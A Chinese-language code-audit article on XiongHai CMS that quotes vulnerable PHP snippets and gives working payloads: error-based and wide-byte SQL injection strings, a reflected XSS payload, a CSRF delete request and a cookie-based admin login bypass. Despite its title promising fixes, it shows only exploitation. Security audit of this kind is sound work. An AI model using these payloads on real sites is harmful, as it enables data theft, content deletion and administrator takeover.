您好,登錄后才能下訂單哦!
這篇文章主要介紹了熊海CMS代碼審計漏洞怎么解決的相關知識,內容詳細易懂,操作簡單快捷,具有一定借鑒價值,相信大家閱讀完這篇熊海CMS代碼審計漏洞怎么解決文章都會有所收獲,下面我們一起來看看吧。
這里我選擇使用小皮面板搭建在了本地,以便于調試錯誤,首先我們看看系統的結構:
——admin //后臺?件 ——css //css?件 ——files //功能函數?件 ——images //圖? ——index.php //主?錄?件 ——install //安裝?件 ——seacmseditor //編輯器 ——template //模板?件 ——upload //?件上傳?錄
我們跳轉到admin/files/editlink.php,分析里面的一段代碼:
$id=$_GET['id']; $type=$_GET['type']; if ($type==1){ $query = "SELECT * FROM nav WHERE id='$id'"; $resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error()); $nav = mysql_fetch_array($resul); }
簡單分析一下,我們通過GET輸入id和type,之后type與1進行對比,匹配后會執行SQL語句,了解SQL注入漏洞的朋友可能會看出這里有一個單引號閉合漏洞,我們只需在參數前進行構造閉合單引號,之后便可以成功執行自定義的SQL語句:
r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23
需要注意的是作為結果只返回給我們SQL語句正確與否,所以這里考慮使用錯報注入。
admin/files/editlink.php這個路徑下有一段代碼:
$id=$_GET['id']; $query = "SELECT * FROM link WHERE id='$id'"; $resul = mysql_query($query) or die('SQL語句有誤:'.mysql_error()); $link = mysql_fetch_array($resul);
這里同樣存在一個GET傳參點,我們可以傳入變量名為id的值,之后會執行SQL語句查詢ID,若SQL語句有誤,進行錯報,因為是單引號閉合這里可以和第一處一樣使用錯報注入。
id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23
/file/download.php這個路徑下的代碼:
$llink=addslashes($_GET['r']); $query = "SELECT * FROM nav WHERE link='$llink'";
可以看到里面有addslashes函數:
這個函數會將預定義字符轉換加上反斜杠,所以我們無法進行正常的單引號閉合,需要想辦法繞過,方法也很多,這里就簡單用寬字節注入繞過
r=%df%27or%20if(1,sleep(3),1)%20%23
在/file/contact.php出存在漏洞代碼:
$page=addslashes($_GET['page']); <?php echo $page?>
可以看到直接echo出了page變量,而該變量是我們直接可以GET傳入的,這里我們直接使用彈窗payload:
<img src=1 onerror=alert(/xss/)>
在/files/content.php出,存在與第一處差不多的代碼:
$page=addslashes($_GET['page']); if ($page<>""){ if ($page<>1){ $pages="第".$page."頁 - "; }
我們也可以向上面一樣將語句傳進變量里去。
這里以/admin/files/wzlist.php為例:
$delete=$_GET['delete']; if ($delete<>""){ $query = "DELETE FROM content WHERE id='$delete'"; $result = mysql_query($query) or die('SQL語句有誤:'.mysql_error()); echo "<script>alert('親,ID為".$delete."的內容已經成功刪除!');location.href='?r=wzlist'</script>"; exit;
可以看到代碼執行刪除SQL語句時并沒有對代碼進行檢測,刪除操作對應下面的界面:
我們先嘗試刪除然后進行抓包,抓到了刪除時GET進行的傳參:
?r=wzlist&delete=18
之后換另一個瀏覽器訪問整個payload,結合該系統中的一個越權操作,將user改成admin,之后訪問,成功實現了跳過驗證進行了刪除操作。
當然這只是其中的一個點,softlist.php也存在類似的CSRF漏洞。
在/inc/checklogin.php中,這里只看存在漏洞的代碼:
$user=$_COOKIE['user']; if ($user==""){ header("Location: ?r=login"); exit;
這里直接給user的cookie值設置成admin,即可跳轉管理員界面。
關于“熊海CMS代碼審計漏洞怎么解決”這篇文章的內容就介紹到這里,感謝各位的閱讀!相信大家對“熊海CMS代碼審計漏洞怎么解決”知識都有一定的了解,大家如果還想學習更多知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。